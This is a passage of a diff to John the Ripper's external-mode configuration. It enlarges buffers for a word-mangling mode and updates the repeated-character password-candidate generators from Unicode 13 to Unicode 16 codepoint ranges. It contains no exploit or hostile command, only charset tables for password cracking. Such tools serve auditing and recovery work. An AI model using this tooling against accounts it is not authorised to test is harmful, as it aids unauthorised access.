@@ -4011,11 +4267,11 @@ void next()
# Shared base code for External hybrid CaSE and Wordcase mutation code
[List.External_base:Case]
int rotor[251]; /* max length input is 125 bytes [125*5+1]; */
int rotors[125];
int rotor_ptr[125];
int rotor_idx[125];
int rotor_cnt[125];
int rotor[639]; /* max length input is 319 bytes [319*2+1] */
int rotors[319];
int rotor_ptr[319];
int rotor_idx[319];
int rotor_cnt[319];
int current_word_count;
int max_mangle; /* controls how many bytes we run through our 'leet' code */
int original_word; /* if set to 1 then we start with original word. If 0, then start with first mangled word */
+42 -51
View File
@@ -1,11 +1,11 @@
# This software is Copyright (c) 2012-2020 magnum, and it is hereby
# This software is Copyright (c) 2012-2024 magnum, and it is hereby
# released to the general public under the following terms:
# Redistribution and use in source and binary forms, with or without
# modification, are permitted.
#
# Try strings of repeated characters, Unicode (version 13) BMP version
# Try strings of repeated characters, Unicode (version 16) BMP version
#
# Number of candidates = 55,387 x max-length
# Number of candidates = 55,537 x max-length
#
# Note that these modes will handle --max-len differently than normal: They
# will consider number of characters as opposed to number of bytes. This
@@ -18,7 +18,7 @@
[List.External:Repeats16]
int minlength, maxlength, maxc, length, c;
int charset[0x10000];
int charset[0xd900];
void init()
{
@@ -39,7 +39,7 @@ void init()
/*
* This defines the character set. This is auto-generated from UnicodeData.txt
* and we skip control characters.
* of Unicode 16.0.0 and we skip control characters.
*/
i = 0;
// 0000..007F; Basic Latin
@@ -115,9 +115,6 @@ void init()
charset[i++] = c++;
// 0600..06FF; Arabic
c = 0x600; // from ARABIC NUMBER SIGN
while (c <= 0x61c) // ..to ARABIC LETTER MARK
charset[i++] = c++;
c = 0x61e; // from ARABIC TRIPLE DOT PUNCTUATION MARK
while (c <= 0x6ff) // ..to ARABIC LETTER HEH WITH INVERTED V
charset[i++] = c++;
// 0700..074F; Syriac
@@ -159,14 +156,17 @@ void init()
c = 0x860; // from SYRIAC LETTER MALAYALAM NGA
while (c <= 0x86a) // ..to SYRIAC LETTER MALAYALAM SSA
charset[i++] = c++;
// 0870..089F; Arabic Extended-B
c = 0x870; // from ARABIC LETTER ALEF WITH ATTACHED FATHA
while (c <= 0x88e) // ..to ARABIC VERTICAL TAIL
charset[i++] = c++;
charset[i++] = 0x890; // ARABIC POUND MARK ABOVE
charset[i++] = 0x891; // ARABIC PIASTRE MARK ABOVE
c = 0x897; // from ARABIC PEPET
while (c <= 0x89f) // ..to ARABIC HALF MADDA OVER MADDA
charset[i++] = c++;
// 08A0..08FF; Arabic Extended-A
c = 0x8a0; // from ARABIC LETTER BEH WITH SMALL V BELOW
while (c <= 0x8b4) // ..to ARABIC LETTER KAF WITH DOT BELOW
charset[i++] = c++;
c = 0x8b6; // from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
while (c <= 0x8c7) // ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
charset[i++] = c++;
c = 0x8d3; // from ARABIC SMALL LOW WAW
while (c <= 0x8ff) // ..to ARABIC MARK SIDEWAYS NOON GHUNNA
charset[i++] = c++;
// 0900..097F; Devanagari
@@ -356,7 +356,7 @@ void init()
c = 0xc2a; // from TELUGU LETTER PA
while (c <= 0xc39) // ..to TELUGU LETTER HA
charset[i++] = c++;
c = 0xc3d; // from TELUGU SIGN AVAGRAHA
c = 0xc3c; // from TELUGU SIGN NUKTA
while (c <= 0xc44) // ..to TELUGU VOWEL SIGN VOCALIC RR
charset[i++] = c++;
charset[i++] = 0xc46; // TELUGU VOWEL SIGN E
@@ -402,6 +402,8 @@ void init()
charset[i++] = c++;
charset[i++] = 0xcd5; // KANNADA LENGTH MARK
charset[i++] = 0xcd6; // KANNADA AI LENGTH MARK
charset[i++] = 0xcdd; // KANNADA LETTER NAKAARA POLLU
charset[i++] = 0xcde; // KANNADA LETTER FA
c = 0xce0; // from KANNADA LETTER VOCALIC RR
while (c <= 0xce3) // ..to KANNADA VOWEL SIGN VOCALIC LL
charset[i++] = c++;
@@ -409,7 +411,7 @@ void init()
while (c <= 0xcef) // ..to KANNADA DIGIT NINE
charset[i++] = c++;
charset[i++] = 0xcf1; // KANNADA SIGN JIHVAMULIYA
charset[i++] = 0xcf2; // KANNADA SIGN UPADHMANIYA
charset[i++] = 0xcf3; // KANNADA SIGN COMBINING ANUSVARA ABOVE RIGHT
// 0D00..0D7F; Malayalam
c = 0xd00; // from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
while (c <= 0xd0c) // ..to MALAYALAM LETTER VOCALIC L
@@ -479,7 +481,7 @@ void init()
while (c <= 0xec4) // ..to LAO VOWEL SIGN AI
charset[i++] = c++;
c = 0xec8; // from LAO TONE MAI EK
while (c <= 0xecd) // ..to LAO NIGGAHITA
while (c <= 0xece) // ..to LAO YAMAKKAN
charset[i++] = c++;
c = 0xed0; // from LAO DIGIT ZERO
while (c <= 0xed9) // ..to LAO DIGIT NINE
@@ -592,11 +594,9 @@ void init()
charset[i++] = c++;
// 1700..171F; Tagalog
c = 0x1700; // from TAGALOG LETTER A
while (c <= 0x170c) // ..to TAGALOG LETTER YA
charset[i++] = c++;
c = 0x170e; // from TAGALOG LETTER LA
while (c <= 0x1714) // ..to TAGALOG SIGN VIRAMA
while (c <= 0x1715) // ..to TAGALOG SIGN PAMUDPOD
charset[i++] = c++;
charset[i++] = 0x171f; // TAGALOG LETTER ARCHAIC RA
// 1720..173F; Hanunoo
c = 0x1720; // from HANUNOO LETTER A
while (c <= 0x1736) // ..to PHILIPPINE DOUBLE PUNCTUATION
@@ -625,9 +625,6 @@ void init()
charset[i++] = c++;
// 1800..18AF; Mongolian
c = 0x1800; // from MONGOLIAN BIRGA
while (c <= 0x180e) // ..to MONGOLIAN VOWEL SEPARATOR
charset[i++] = c++;
c = 0x1810; // from MONGOLIAN DIGIT ZERO
while (c <= 0x1819) // ..to MONGOLIAN DIGIT NINE
charset[i++] = c++;
c = 0x1820; // from MONGOLIAN LETTER A
@@ -700,14 +697,14 @@ void init()
charset[i++] = c++;
// 1AB0..1AFF; Combining Diacritical Marks Extended
c = 0x1ab0; // from COMBINING DOUBLED CIRCUMFLEX ACCENT
while (c <= 0x1ac0) // ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
while (c <= 0x1ace) // ..to COMBINING LATIN SMALL LETTER INSULAR T
charset[i++] = c++;
// 1B00..1B7F; Balinese
c = 0x1b00; // from BALINESE SIGN ULU RICEM
while (c <= 0x1b4b) // ..to BALINESE LETTER ASYURA SASAK
while (c <= 0x1b4c) // ..to BALINESE LETTER ARCHAIC JNYA
charset[i++] = c++;
c = 0x1b50; // from BALINESE DIGIT ZERO
while (c <= 0x1b7c) // ..to BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
c = 0x1b4e; // from BALINESE INVERTED CARIK SIKI
while (c <= 0x1b7f) // ..to BALINESE PANTI BAWAK
charset[i++] = c++;
// 1B80..1BBF; Sundanese
c = 0x1b80; // from SUNDANESE SIGN PANYECEK
@@ -735,7 +732,7 @@ void init()
charset[i++] = c++;
// 1C80..1C8F; Cyrillic Extended-C
c = 0x1c80; // from CYRILLIC SMALL LETTER ROUNDED VE
while (c <= 0x1c88) // ..to CYRILLIC SMALL LETTER UNBLENDED UK
while (c <= 0x1c8a) // ..to CYRILLIC SMALL LETTER TJE
charset[i++] = c++;
// 1C90..1CBF; Georgian Extended
c = 0x1c90; // from GEORGIAN MTAVRULI CAPITAL LETTER AN
@@ -761,9 +758,6 @@ void init()
charset[i++] = c++;
// 1DC0..1DFF; Combining Diacritical Marks Supplement
c = 0x1dc0; // from COMBINING DOTTED GRAVE ACCENT
while (c <= 0x1df9) // ..to COMBINING WIDE INVERTED BRIDGE BELOW
charset[i++] = c++;
c = 0x1dfb; // from COMBINING DELETION MARK
while (c <= 0x1dff) // ..to COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
charset[i++] = c++;
// 1E00..1EFF; Latin Extended Additional
@@ -827,7 +821,7 @@ void init()
charset[i++] = c++;
// 20A0..20CF; Currency Symbols
c = 0x20a0; // from EURO-CURRENCY SIGN
while (c <= 0x20bf) // ..to BITCOIN SIGN
while (c <= 0x20c0) // ..to SOM SIGN
charset[i++] = c++;
// 20D0..20FF; Combining Diacritical Marks for Symbols
c = 0x20d0; // from COMBINING LEFT HARPOON ABOVE
@@ -855,7 +849,7 @@ void init()
charset[i++] = c++;
// 2400..243F; Control Pictures
c = 0x2400; // from SYMBOL FOR NULL
while (c <= 0x2426) // ..to SYMBOL FOR SUBSTITUTE FORM TWO
while (c <= 0x2429) // ..to SYMBOL FOR DELETE MEDIUM SHADE FORM
charset[i++] = c++;
// 2440..245F; Optical Character Recognition
c = 0x2440; // from OCR HOOK
@@ -921,10 +915,7 @@ void init()
charset[i++] = c++;
// 2C00..2C5F; Glagolitic
c = 0x2c00; // from GLAGOLITIC CAPITAL LETTER AZU
while (c <= 0x2c2e) // ..to GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
charset[i++] = c++;
c = 0x2c30; // from GLAGOLITIC SMALL LETTER AZU
while (c <= 0x2c5e) // ..to GLAGOLITIC SMALL LETTER LATINATE MYSLITE
while (c <= 0x2c5f) // ..to GLAGOLITIC SMALL LETTER CAUDATE CHRIVI
charset[i++] = c++;
// 2C60..2C7F; Latin Extended-C
c = 0x2c60; // from LATIN CAPITAL LETTER L WITH DOUBLE BAR
@@ -985,7 +976,7 @@ void init()
charset[i++] = c++;
// 2E00..2E7F; Supplemental Punctuation
c = 0x2e00; // from RIGHT ANGLE SUBSTITUTION MARKER
while (c <= 0x2e52) // ..to TIRONIAN SIGN CAPITAL ET
while (c <= 0x2e5d) // ..to OBLIQUE HYPHEN
charset[i++] = c++;
// 2E80..2EFF; CJK Radicals Supplement
c = 0x2e80; // from CJK RADICAL REPEAT
@@ -1000,7 +991,7 @@ void init()
charset[i++] = c++;
// 2FF0..2FFF; Ideographic Description Characters
c = 0x2ff0; // from IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT
while (c <= 0x2ffb) // ..to IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
while (c <= 0x2fff) // ..to IDEOGRAPHIC DESCRIPTION CHARACTER ROTATION
charset[i++] = c++;
// 3000..303F; CJK Symbols and Punctuation
c = 0x3000; // from IDEOGRAPHIC SPACE
@@ -1035,8 +1026,9 @@ void init()
charset[i++] = c++;
// 31C0..31EF; CJK Strokes
c = 0x31c0; // from CJK STROKE T
while (c <= 0x31e3) // ..to CJK STROKE Q
while (c <= 0x31e5) // ..to CJK STROKE SZP
charset[i++] = c++;
charset[i++] = 0x31ef; // IDEOGRAPHIC DESCRIPTION CHARACTER SUBTRACTION
// 31F0..31FF; Katakana Phonetic Extensions
c = 0x31f0; // from KATAKANA LETTER SMALL KU
while (c <= 0x31ff) // ..to KATAKANA LETTER SMALL RO
@@ -1062,7 +1054,7 @@ void init()
charset[i++] = c++;
// 4E00..9FFF; CJK Unified Ideographs
c = 0x4e00; // from <CJK Ideograph, First>
while (c <= 0x9ffc) // ..to <CJK Ideograph, Last>
while (c <= 0x9fff) // ..to <CJK Ideograph, Last>
charset[i++] = c++;
// A000..A48F; Yi Syllables
c = 0xa000; // from YI SYLLABLE IT
@@ -1094,12 +1086,14 @@ void init()
charset[i++] = c++;
// A720..A7FF; Latin Extended-D
c = 0xa720; // from MODIFIER LETTER STRESS AND HIGH TONE
while (c <= 0xa7bf) // ..to LATIN SMALL LETTER GLOTTAL U
while (c <= 0xa7cd) // ..to LATIN SMALL LETTER S WITH DIAGONAL STROKE
charset[i++] = c++;
c = 0xa7c2; // from LATIN CAPITAL LETTER ANGLICANA W
while (c <= 0xa7ca) // ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
charset[i++] = 0xa7d0; // LATIN CAPITAL LETTER CLOSED INSULAR G
charset[i++] = 0xa7d1; // LATIN SMALL LETTER CLOSED INSULAR G
c = 0xa7d5; // from LATIN SMALL LETTER DOUBLE WYNN
while (c <= 0xa7dc) // ..to LATIN CAPITAL LETTER LAMBDA WITH STROKE
charset[i++] = c++;
c = 0xa7f5; // from LATIN CAPITAL LETTER REVERSED HALF H
c = 0xa7f2; // from MODIFIER LETTER CAPITAL C
while (c <= 0xa7ff) // ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
charset[i++] = c++;
// A800..A82F; Syloti Nagri
@@ -1254,19 +1248,16 @@ void init()
charset[i++] = c++;
// FB50..FDFF; Arabic Presentation Forms-A
c = 0xfb50; // from ARABIC LETTER ALEF WASLA ISOLATED FORM
while (c <= 0xfbc1) // ..to ARABIC SYMBOL SMALL TAH BELOW
while (c <= 0xfbc2) // ..to ARABIC SYMBOL WASLA ABOVE
charset[i++] = c++;
c = 0xfbd3; // from ARABIC LETTER NG ISOLATED FORM
while (c <= 0xfd3f) // ..to ORNATE RIGHT PARENTHESIS
charset[i++] = c++;
c = 0xfd50; // from ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM
while (c <= 0xfd8f) // ..to ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
charset[i++] = c++;
c = 0xfd92; // from ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM
while (c <= 0xfdc7) // ..to ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
charset[i++] = c++;
c = 0xfdf0; // from ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM
while (c <= 0xfdfd) // ..to ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
while (c <= 0xfdff) // ..to ARABIC LIGATURE AZZA WA JALL
charset[i++] = c++;
// FE00..FE0F; Variation Selectors
c = 0xfe00; // from VARIATION SELECTOR-1
+283 -91
View File
@@ -1,11 +1,11 @@
# This software is Copyright (c) 2012-2020 magnum, and it is hereby
# This software is Copyright (c) 2012-2024 magnum, and it is hereby
# released to the general public under the following terms:
# Redistribution and use in source and binary forms, with or without
# modification, are permitted.
#
# Try strings of repeated characters, Full Unicode (version 13) version
# Try strings of repeated characters, Full Unicode (version 16) version
#
# Number of candidates = 143,532 x length
# Number of candidates = 154,663 x length
#
# Note that these modes will handle --max-len differently than normal: They
# will consider number of characters as opposed to number of bytes. This
@@ -23,7 +23,7 @@
[List.External:Repeats32]
int minlength, maxlength, maxc, length, c;
int charset[0x24000];
int charset[0x25c30];
void init()
{
@@ -44,7 +44,7 @@ void init()
/*
* This defines the character set. This is auto-generated from UnicodeData.txt
* and we skip control characters.
* of Unicode 16.0.0 and we skip control characters.
*/
i = 0;
// 0000..007F; Basic Latin
@@ -120,9 +120,6 @@ void init()
charset[i++] = c++;
// 0600..06FF; Arabic
c = 0x600; // from ARABIC NUMBER SIGN
while (c <= 0x61c) // ..to ARABIC LETTER MARK
charset[i++] = c++;
c = 0x61e; // from ARABIC TRIPLE DOT PUNCTUATION MARK
while (c <= 0x6ff) // ..to ARABIC LETTER HEH WITH INVERTED V
charset[i++] = c++;
// 0700..074F; Syriac
@@ -164,14 +161,17 @@ void init()
c = 0x860; // from SYRIAC LETTER MALAYALAM NGA
while (c <= 0x86a) // ..to SYRIAC LETTER MALAYALAM SSA
charset[i++] = c++;
// 0870..089F; Arabic Extended-B
c = 0x870; // from ARABIC LETTER ALEF WITH ATTACHED FATHA
while (c <= 0x88e) // ..to ARABIC VERTICAL TAIL
charset[i++] = c++;
charset[i++] = 0x890; // ARABIC POUND MARK ABOVE
charset[i++] = 0x891; // ARABIC PIASTRE MARK ABOVE
c = 0x897; // from ARABIC PEPET
while (c <= 0x89f) // ..to ARABIC HALF MADDA OVER MADDA
charset[i++] = c++;
// 08A0..08FF; Arabic Extended-A
c = 0x8a0; // from ARABIC LETTER BEH WITH SMALL V BELOW
while (c <= 0x8b4) // ..to ARABIC LETTER KAF WITH DOT BELOW
charset[i++] = c++;
c = 0x8b6; // from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
while (c <= 0x8c7) // ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
charset[i++] = c++;
c = 0x8d3; // from ARABIC SMALL LOW WAW
while (c <= 0x8ff) // ..to ARABIC MARK SIDEWAYS NOON GHUNNA
charset[i++] = c++;
// 0900..097F; Devanagari
@@ -361,7 +361,7 @@ void init()
c = 0xc2a; // from TELUGU LETTER PA
while (c <= 0xc39) // ..to TELUGU LETTER HA
charset[i++] = c++;
c = 0xc3d; // from TELUGU SIGN AVAGRAHA
c = 0xc3c; // from TELUGU SIGN NUKTA
while (c <= 0xc44) // ..to TELUGU VOWEL SIGN VOCALIC RR
charset[i++] = c++;
charset[i++] = 0xc46; // TELUGU VOWEL SIGN E
@@ -407,6 +407,8 @@ void init()
charset[i++] = c++;
charset[i++] = 0xcd5; // KANNADA LENGTH MARK
charset[i++] = 0xcd6; // KANNADA AI LENGTH MARK
charset[i++] = 0xcdd; // KANNADA LETTER NAKAARA POLLU
charset[i++] = 0xcde; // KANNADA LETTER FA
c = 0xce0; // from KANNADA LETTER VOCALIC RR
while (c <= 0xce3) // ..to KANNADA VOWEL SIGN VOCALIC LL
charset[i++] = c++;
@@ -414,7 +416,7 @@ void init()
while (c <= 0xcef) // ..to KANNADA DIGIT NINE
charset[i++] = c++;
charset[i++] = 0xcf1; // KANNADA SIGN JIHVAMULIYA
charset[i++] = 0xcf2; // KANNADA SIGN UPADHMANIYA
charset[i++] = 0xcf3; // KANNADA SIGN COMBINING ANUSVARA ABOVE RIGHT
// 0D00..0D7F; Malayalam
c = 0xd00; // from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
while (c <= 0xd0c) // ..to MALAYALAM LETTER VOCALIC L
@@ -484,7 +486,7 @@ void init()
while (c <= 0xec4) // ..to LAO VOWEL SIGN AI
charset[i++] = c++;
c = 0xec8; // from LAO TONE MAI EK
while (c <= 0xecd) // ..to LAO NIGGAHITA
while (c <= 0xece) // ..to LAO YAMAKKAN
charset[i++] = c++;
c = 0xed0; // from LAO DIGIT ZERO
while (c <= 0xed9) // ..to LAO DIGIT NINE
@@ -597,11 +599,9 @@ void init()
charset[i++] = c++;
// 1700..171F; Tagalog
c = 0x1700; // from TAGALOG LETTER A
while (c <= 0x170c) // ..to TAGALOG LETTER YA
charset[i++] = c++;
c = 0x170e; // from TAGALOG LETTER LA
while (c <= 0x1714) // ..to TAGALOG SIGN VIRAMA
while (c <= 0x1715) // ..to TAGALOG SIGN PAMUDPOD
charset[i++] = c++;
charset[i++] = 0x171f; // TAGALOG LETTER ARCHAIC RA
// 1720..173F; Hanunoo
c = 0x1720; // from HANUNOO LETTER A
while (c <= 0x1736) // ..to PHILIPPINE DOUBLE PUNCTUATION
@@ -630,9 +630,6 @@ void init()
charset[i++] = c++;
// 1800..18AF; Mongolian
c = 0x1800; // from MONGOLIAN BIRGA
while (c <= 0x180e) // ..to MONGOLIAN VOWEL SEPARATOR
charset[i++] = c++;
c = 0x1810; // from MONGOLIAN DIGIT ZERO
while (c <= 0x1819) // ..to MONGOLIAN DIGIT NINE
charset[i++] = c++;
c = 0x1820; // from MONGOLIAN LETTER A
@@ -705,14 +702,14 @@ void init()
charset[i++] = c++;
// 1AB0..1AFF; Combining Diacritical Marks Extended
c = 0x1ab0; // from COMBINING DOUBLED CIRCUMFLEX ACCENT
while (c <= 0x1ac0) // ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
while (c <= 0x1ace) // ..to COMBINING LATIN SMALL LETTER INSULAR T
charset[i++] = c++;
// 1B00..1B7F; Balinese
c = 0x1b00; // from BALINESE SIGN ULU RICEM
while (c <= 0x1b4b) // ..to BALINESE LETTER ASYURA SASAK
while (c <= 0x1b4c) // ..to BALINESE LETTER ARCHAIC JNYA
charset[i++] = c++;
c = 0x1b50; // from BALINESE DIGIT ZERO
while (c <= 0x1b7c) // ..to BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
c = 0x1b4e; // from BALINESE INVERTED CARIK SIKI
while (c <= 0x1b7f) // ..to BALINESE PANTI BAWAK
charset[i++] = c++;
// 1B80..1BBF; Sundanese
c = 0x1b80; // from SUNDANESE SIGN PANYECEK
@@ -740,7 +737,7 @@ void init()
charset[i++] = c++;
// 1C80..1C8F; Cyrillic Extended-C
c = 0x1c80; // from CYRILLIC SMALL LETTER ROUNDED VE
while (c <= 0x1c88) // ..to CYRILLIC SMALL LETTER UNBLENDED UK
while (c <= 0x1c8a) // ..to CYRILLIC SMALL LETTER TJE
charset[i++] = c++;
// 1C90..1CBF; Georgian Extended
c = 0x1c90; // from GEORGIAN MTAVRULI CAPITAL LETTER AN
@@ -766,9 +763,6 @@ void init()
charset[i++] = c++;
// 1DC0..1DFF; Combining Diacritical Marks Supplement
c = 0x1dc0; // from COMBINING DOTTED GRAVE ACCENT
while (c <= 0x1df9) // ..to COMBINING WIDE INVERTED BRIDGE BELOW
charset[i++] = c++;
c = 0x1dfb; // from COMBINING DELETION MARK
while (c <= 0x1dff) // ..to COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
charset[i++] = c++;
// 1E00..1EFF; Latin Extended Additional
@@ -832,7 +826,7 @@ void init()
charset[i++] = c++;
// 20A0..20CF; Currency Symbols
c = 0x20a0; // from EURO-CURRENCY SIGN
while (c <= 0x20bf) // ..to BITCOIN SIGN
while (c <= 0x20c0) // ..to SOM SIGN
charset[i++] = c++;
// 20D0..20FF; Combining Diacritical Marks for Symbols
c = 0x20d0; // from COMBINING LEFT HARPOON ABOVE
@@ -860,7 +854,7 @@ void init()
charset[i++] = c++;
// 2400..243F; Control Pictures
c = 0x2400; // from SYMBOL FOR NULL
while (c <= 0x2426) // ..to SYMBOL FOR SUBSTITUTE FORM TWO
while (c <= 0x2429) // ..to SYMBOL FOR DELETE MEDIUM SHADE FORM
charset[i++] = c++;
// 2440..245F; Optical Character Recognition
c = 0x2440; // from OCR HOOK
@@ -926,10 +920,7 @@ void init()
charset[i++] = c++;
// 2C00..2C5F; Glagolitic
c = 0x2c00; // from GLAGOLITIC CAPITAL LETTER AZU
while (c <= 0x2c2e) // ..to GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
charset[i++] = c++;
c = 0x2c30; // from GLAGOLITIC SMALL LETTER AZU
while (c <= 0x2c5e) // ..to GLAGOLITIC SMALL LETTER LATINATE MYSLITE
while (c <= 0x2c5f) // ..to GLAGOLITIC SMALL LETTER CAUDATE CHRIVI
charset[i++] = c++;
// 2C60..2C7F; Latin Extended-C
c = 0x2c60; // from LATIN CAPITAL LETTER L WITH DOUBLE BAR
@@ -990,7 +981,7 @@ void init()
charset[i++] = c++;
// 2E00..2E7F; Supplemental Punctuation
c = 0x2e00; // from RIGHT ANGLE SUBSTITUTION MARKER
while (c <= 0x2e52) // ..to TIRONIAN SIGN CAPITAL ET
while (c <= 0x2e5d) // ..to OBLIQUE HYPHEN
charset[i++] = c++;
// 2E80..2EFF; CJK Radicals Supplement
c = 0x2e80; // from CJK RADICAL REPEAT
@@ -1005,7 +996,7 @@ void init()
charset[i++] = c++;
// 2FF0..2FFF; Ideographic Description Characters
c = 0x2ff0; // from IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT
while (c <= 0x2ffb) // ..to IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
while (c <= 0x2fff) // ..to IDEOGRAPHIC DESCRIPTION CHARACTER ROTATION
charset[i++] = c++;
// 3000..303F; CJK Symbols and Punctuation
c = 0x3000; // from IDEOGRAPHIC SPACE
@@ -1040,8 +1031,9 @@ void init()
charset[i++] = c++;
// 31C0..31EF; CJK Strokes
c = 0x31c0; // from CJK STROKE T
while (c <= 0x31e3) // ..to CJK STROKE Q
while (c <= 0x31e5) // ..to CJK STROKE SZP
charset[i++] = c++;
charset[i++] = 0x31ef; // IDEOGRAPHIC DESCRIPTION CHARACTER SUBTRACTION
// 31F0..31FF; Katakana Phonetic Extensions
c = 0x31f0; // from KATAKANA LETTER SMALL KU
while (c <= 0x31ff) // ..to KATAKANA LETTER SMALL RO
@@ -1067,7 +1059,7 @@ void init()
charset[i++] = c++;
// 4E00..9FFF; CJK Unified Ideographs
c = 0x4e00; // from <CJK Ideograph, First>
while (c <= 0x9ffc) // ..to <CJK Ideograph, Last>
while (c <= 0x9fff) // ..to <CJK Ideograph, Last>
charset[i++] = c++;
// A000..A48F; Yi Syllables
c = 0xa000; // from YI SYLLABLE IT
@@ -1099,12 +1091,14 @@ void init()
charset[i++] = c++;
// A720..A7FF; Latin Extended-D
c = 0xa720; // from MODIFIER LETTER STRESS AND HIGH TONE
while (c <= 0xa7bf) // ..to LATIN SMALL LETTER GLOTTAL U
while (c <= 0xa7cd) // ..to LATIN SMALL LETTER S WITH DIAGONAL STROKE
charset[i++] = c++;
c = 0xa7c2; // from LATIN CAPITAL LETTER ANGLICANA W
while (c <= 0xa7ca) // ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
charset[i++] = 0xa7d0; // LATIN CAPITAL LETTER CLOSED INSULAR G
charset[i++] = 0xa7d1; // LATIN SMALL LETTER CLOSED INSULAR G
c = 0xa7d5; // from LATIN SMALL LETTER DOUBLE WYNN
while (c <= 0xa7dc) // ..to LATIN CAPITAL LETTER LAMBDA WITH STROKE
charset[i++] = c++;
c = 0xa7f5; // from LATIN CAPITAL LETTER REVERSED HALF H
c = 0xa7f2; // from MODIFIER LETTER CAPITAL C
while (c <= 0xa7ff) // ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
charset[i++] = c++;
// A800..A82F; Syloti Nagri
@@ -1259,19 +1253,16 @@ void init()
charset[i++] = c++;
// FB50..FDFF; Arabic Presentation Forms-A
c = 0xfb50; // from ARABIC LETTER ALEF WASLA ISOLATED FORM
while (c <= 0xfbc1) // ..to ARABIC SYMBOL SMALL TAH BELOW
while (c <= 0xfbc2) // ..to ARABIC SYMBOL WASLA ABOVE
charset[i++] = c++;
c = 0xfbd3; // from ARABIC LETTER NG ISOLATED FORM
while (c <= 0xfd3f) // ..to ORNATE RIGHT PARENTHESIS
charset[i++] = c++;
c = 0xfd50; // from ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM
while (c <= 0xfd8f) // ..to ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
charset[i++] = c++;
c = 0xfd92; // from ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM
while (c <= 0xfdc7) // ..to ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
charset[i++] = c++;
c = 0xfdf0; // from ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM
while (c <= 0xfdfd) // ..to ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
while (c <= 0xfdff) // ..to ARABIC LIGATURE AZZA WA JALL
charset[i++] = c++;
// FE00..FE0F; Variation Selectors
c = 0xfe00; // from VARIATION SELECTOR-1
@@ -1444,6 +1435,33 @@ void init()
while (c <= 0x10563) // ..to CAUCASIAN ALBANIAN LETTER KIW
charset[i++] = c++;
charset[i++] = 0x1056f; // CAUCASIAN ALBANIAN CITATION MARK
// 10570..105BF; Vithkuqi
c = 0x10570; // from VITHKUQI CAPITAL LETTER A
while (c <= 0x1057a) // ..to VITHKUQI CAPITAL LETTER GA
charset[i++] = c++;
c = 0x1057c; // from VITHKUQI CAPITAL LETTER HA
while (c <= 0x1058a) // ..to VITHKUQI CAPITAL LETTER RE
charset[i++] = c++;
c = 0x1058c; // from VITHKUQI CAPITAL LETTER SE
while (c <= 0x10592) // ..to VITHKUQI CAPITAL LETTER XE
charset[i++] = c++;
charset[i++] = 0x10594; // VITHKUQI CAPITAL LETTER Y
charset[i++] = 0x10595; // VITHKUQI CAPITAL LETTER ZE
c = 0x10597; // from VITHKUQI SMALL LETTER A
while (c <= 0x105a1) // ..to VITHKUQI SMALL LETTER GA
charset[i++] = c++;
c = 0x105a3; // from VITHKUQI SMALL LETTER HA
while (c <= 0x105b1) // ..to VITHKUQI SMALL LETTER RE
charset[i++] = c++;
c = 0x105b3; // from VITHKUQI SMALL LETTER SE
while (c <= 0x105b9) // ..to VITHKUQI SMALL LETTER XE
charset[i++] = c++;
charset[i++] = 0x105bb; // VITHKUQI SMALL LETTER Y
charset[i++] = 0x105bc; // VITHKUQI SMALL LETTER ZE
// 105C0..105FF; Todhri
c = 0x105c0; // from TODHRI LETTER A
while (c <= 0x105f3) // ..to TODHRI LETTER OO
charset[i++] = c++;
// 10600..1077F; Linear A
c = 0x10600; // from LINEAR A SIGN AB001
while (c <= 0x10736) // ..to LINEAR A SIGN A664
@@ -1454,6 +1472,16 @@ void init()
c = 0x10760; // from LINEAR A SIGN A800
while (c <= 0x10767) // ..to LINEAR A SIGN A807
charset[i++] = c++;
// 10780..107BF; Latin Extended-F
c = 0x10780; // from MODIFIER LETTER SMALL CAPITAL AA
while (c <= 0x10785) // ..to MODIFIER LETTER SMALL B WITH HOOK
charset[i++] = c++;
c = 0x10787; // from MODIFIER LETTER SMALL DZ DIGRAPH
while (c <= 0x107b0) // ..to MODIFIER LETTER SMALL V WITH RIGHT HOOK
charset[i++] = c++;
c = 0x107b2; // from MODIFIER LETTER SMALL CAPITAL Y
while (c <= 0x107ba) // ..to MODIFIER LETTER SMALL S WITH CURL
charset[i++] = c++;
// 10800..1083F; Cypriot Syllabary
c = 0x10800; // from CYPRIOT SYLLABLE A
while (c <= 0x10805) // ..to CYPRIOT SYLLABLE JA
@@ -1606,6 +1634,15 @@ void init()
c = 0x10d30; // from HANIFI ROHINGYA DIGIT ZERO
while (c <= 0x10d39) // ..to HANIFI ROHINGYA DIGIT NINE
charset[i++] = c++;
// 10D40..10D8F; Garay
c = 0x10d40; // from GARAY DIGIT ZERO
